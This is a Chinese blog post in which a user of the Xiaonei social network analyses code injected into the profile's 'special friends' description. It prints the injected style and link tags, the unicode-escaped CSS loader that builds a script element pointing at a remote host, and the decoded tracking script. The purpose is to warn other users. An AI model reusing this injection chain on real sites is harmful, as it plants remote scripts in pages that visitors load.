校内开始有点无耻了…

平时没多大注意…今天发现自己的校内被挂上东西了…god…还是那句话…老子你也敢动！！！

 

 

注意一下自己的特别好友的描述吧~~   本来我是没有特别好友的，也没注意这个，结果…哎…

 

 

 

代码..

<style>#userFriendSpecial{display:none}</style><link href="xx.css"><link href="http://atoley.go1.icpcn.com/atom.jpg" rel="stylesheet" type="text/css" media="all"/>

 

注意这里http://atoley.go1.icpcn.com/atom.jpg 

 

别相信扩展名，直接用记事本打开~~

 

还是代码，加密过的。

 

#footer{background:\0075\0072\006c\0028\0022\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0063\006f\0064\0065\004a\0053\0055\0072\006c\003d\0022\0068\0074\0074\0070\003a\002f\002f\0075\0073\0065\0072\002e\0066\0072\0065\0065\0032\002e\0037\0037\0031\0036\0039\002e\006e\0065\0074\002f\002f\0073\0074\0061\0074\0069\0063\006d\0061\006e\002f\006d\0079\0063\002e\006a\0070\0067\0022\003b\0076\0061\0072\0020\0073\0032\0020\003d\0020\0064\006f\0063\0075\006d\0065\006e\0074\002e\0063\0072\0065\0061\0074\0065\0045\006c\0065\006d\0065\006e\0074\0028\0022\0073\0063\0072\0069\0070\0074\0022\0029\003b\0073\0032\002e\0073\0072\0063\003d\0063\006f\0064\0065\004a\0053\0055\0072\006c\003b\0064\006f\0063\0075\006d\0065\006e\0074\002e\0062\006f\0064\0079\002e\0069\006e\0073\0065\0072\0074\0041\0064\006a\0061\0063\0065\006e\0074\0045\006c\0065\006d\0065\006e\0074\0028\0022\0042\0065\0066\006f\0072\0065\0042\0065\0067\0069\006e\0022\002c\0073\0032\0029\003b\0022\0029}

 

用这个的16进制解密http://blog.nobird.cn/things/jm.htm

 

结果

 

url(":codeJSUrl="http://user.free2.77169.net//staticman/myc.jpg";var s2 = document.createElement("script");s2.src=codeJSUrl;document.body.insertAdjacentElement("BeforeBegin",s2);")

 

http://user.free2.77169.net//staticman/myc.jpg整理一下

 

http://user.free2.77169.net/staticman/myc.jpg下载下来，还是记事本打开~~

 

内容：

//…Tomorrow is another day~!……
count();
function count() {
 a=new Image();
 a.src=’http://img.users.51.la/1222910.asp’;
 return 0;
}
这次是没加密的。

 

看这里

 

http://img.users.51.la/1222910.asp   51la的统计代码….貌似是要看看这dd的传播量？

 

 

 

不知道作者是要干嘛…但是…统计代码自然没问题…如果挂的是别的…XXX。。。那就难说了~~。。。各位…继续小心。。。